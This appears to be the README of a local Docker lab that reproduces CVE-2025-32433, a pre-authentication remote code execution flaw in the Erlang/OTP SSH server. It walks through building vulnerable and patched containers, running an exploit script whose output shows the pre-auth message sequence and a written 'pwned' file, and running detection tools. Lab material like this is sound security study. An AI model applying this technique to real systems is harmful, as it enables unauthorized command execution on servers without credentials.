A Flaw in SSH protocol message handling, a malicious actor could gain unauthorized access to affected systems and execute arbitrary commands without valid credentials in the Erlang/OTP SSH server
✅ PRE-AUTH RCE CONFIRMED — Exploit successfully demonstrated.
📄 Technical Blog (PDF):CVE-2025-32433-Technical-Blog.pdf
📸 Visual Evidence:screenshots/
🔍 Proof of Concept Details:docs/PROOF_OF_CONCEPT.md
CVE-2025-32433 is a CVSS 10.0 Critical vulnerability in the Erlang/OTP SSH daemon. An unauthenticated attacker can open SSH channels and execute arbitrary commands before completing authentication — zero credentials required.
This lab gives you a fully working, isolated environment to reproduce the vulnerability, run the exploit, verify it, and test detection mechanisms — all on your local machine.
Before you start, ensure you have the following installed:
| Tool | Minimum Version | Check Command |
|---|---|---|
| Docker Desktop | 4.x+ | docker --version |
| Docker Compose | v2.20+ | docker compose version |
| Python | 3.10+ | python --version |
You also need the Python paramiko library for the detection suite:
pip install paramiko
Docker Hub's
erlang:26.2.5image tag was silently overwritten with the patched26.2.5.11release after CVE-2025-32433 was disclosed. Pulling it from Docker Hub gives you the patched version, not the vulnerable one.This lab's
lab/Dockerfilecompiles OTP 26.2.5 directly from the official Erlang GitHub release tarball to guarantee the genuine vulnerable runtime. The first build takes ~10 minutes.
┌──────────────────────────────────────────┐
│ Isolated Docker Bridge │
│ (cve-lab-bridge) │
└────┬────────────────────────────┬────────┘
│ │
┌───────────────┴─────────────┐┌─────────────┴──────────────┐
│ target_vulnerable ││ target_patched │
│ OTP 26.2.5 (source-built) ││ erlang:26.2.5.11 │
│ Host Port: 127.0.0.1:2222 ││ Host Port: 127.0.0.1:2223 │
└─────────────────────────────┘└─────────────────────────────┘
│
┌──────────────┴──────────────┐
│ attacker │
│ Python 3 + Scapy/Paramiko │
│ Workdir: /work │
└─────────────────────────────┘
| Container | Port | OTP Version | Status |
|---|---|---|---|
cve-2025-32433-vulnerable | 127.0.0.1:2222 | 26.2.5 (ERTS 14.2.5) | ❌ Vulnerable |
cve-2025-32433-patched | 127.0.0.1:2223 | 26.2.5.11 (ERTS 14.2.5.15) | ✅ Patched |
cve-2025-32433-attacker | Internal only | Python 3 tooling | Attacker toolset |
git clone https://github.com/damnkrishna/CVE-2025-32433-LAB.git
cd CVE-2025-32433-LAB
⏱️ This takes ~10 minutes — it compiles Erlang/OTP 26.2.5 from C source. This is expected. Do not interrupt it.
docker compose build --no-cache target_vulnerable
You will see compiler output like make[1]: Leaving directory '/tmp/otp_src_26.2.5/lib/...' —
this is normal. It ends with:
✔ Image ine_cyber_assignment_job-target_vulnerable Built
docker compose build --no-cache target_patched
docker compose up -d target_vulnerable target_patched
docker compose ps
Expected output:
NAME STATUS PORTS
cve-2025-32433-vulnerable Up (healthy) 127.0.0.1:2222->2222/tcp
cve-2025-32433-patched Up (healthy) 127.0.0.1:2223->2222/tcp
Both containers must show (healthy) before continuing.
Confirm the container is genuinely running OTP 26.2.5 (not the patched version):
docker exec cve-2025-32433-vulnerable cat /usr/local/otp/lib/erlang/releases/RELEASES
Expected output — must show 14.2.5 with NO .15 suffix:
[{release,"Erlang/OTP","26","14.2.5",
[{kernel,"9.2.4",...},
If you see 14.2.5.15 — the container image is wrong. Rebuild with --no-cache.
Connect as a legitimate user to confirm the server accepts standard authentication:
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 2222 [email protected]
When prompted enter the password: LabPass2026!Secured
You will land in an Erlang shell:
Eshell V14.2.5 (press Ctrl+G to abort, type help(). for help)
1>
Try some commands inside the Erlang shell:
ls().
file:write_file("test.txt", "hello").
file:read_file("test.txt").
To exit the Erlang shell:
q().
Before running the exploit, open a second PowerShell terminal and tail the server log:
Get-Content -Path .\logs\target_vulnerable\ssh.log -Wait -Tail 20
Keep this terminal open. You will see connection events appear in real time.
This is the pre-authentication remote code execution proof of concept. No credentials are used.
cd attacker_work\exploit
python payload.py
Expected output:
[*] Connecting to SSH server...
[+] Received banner: SSH-2.0-Erlang/5.1.4
[*] Sending SSH_MSG_KEXINIT...
[*] Sending SSH_MSG_CHANNEL_OPEN...
[*] Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...
[✓] Exploit sent! If the server is vulnerable, it should have written to /lab.txt.
[+] Received response: 000003d4...
The banner must show SSH-2.0-Erlang/5.1.4 (no .15 suffix) to confirm you hit the vulnerable server.
docker exec cve-2025-32433-vulnerable cat /lab.txt
Expected output:
pwned
If you see pwned — CVE-2025-32433 pre-authentication RCE is confirmed.
The exploit wrote to the container filesystem with zero credentials.
Run the same exploit against the patched container on port 2223:
Edit attacker_work\exploit\payload.py line 6:
PORT = 2223 # change from 2222 to 2223
Run the exploit:
python payload.py
Then check for the file:
docker exec cve-2025-32433-patched cat /lab.txt
Expected output:
cat: /lab.txt: No such file or directory
The patched container rejects the unauthenticated channel request. No file written = patched.
Restore payload.py port back to 2222 when done.
Go back to the repo root:
cd ..\..
Scan the vulnerable target:
python detection\detect_cve_2025_32433.py 127.0.0.1 2222
Scan the patched target:
python detection\detect_cve_2025_32433.py 127.0.0.1 2223
Monitors the container process table for unexpected child processes spawned by Erlang (e.g. shell processes that indicate RCE):
python detection\host_process_monitor.py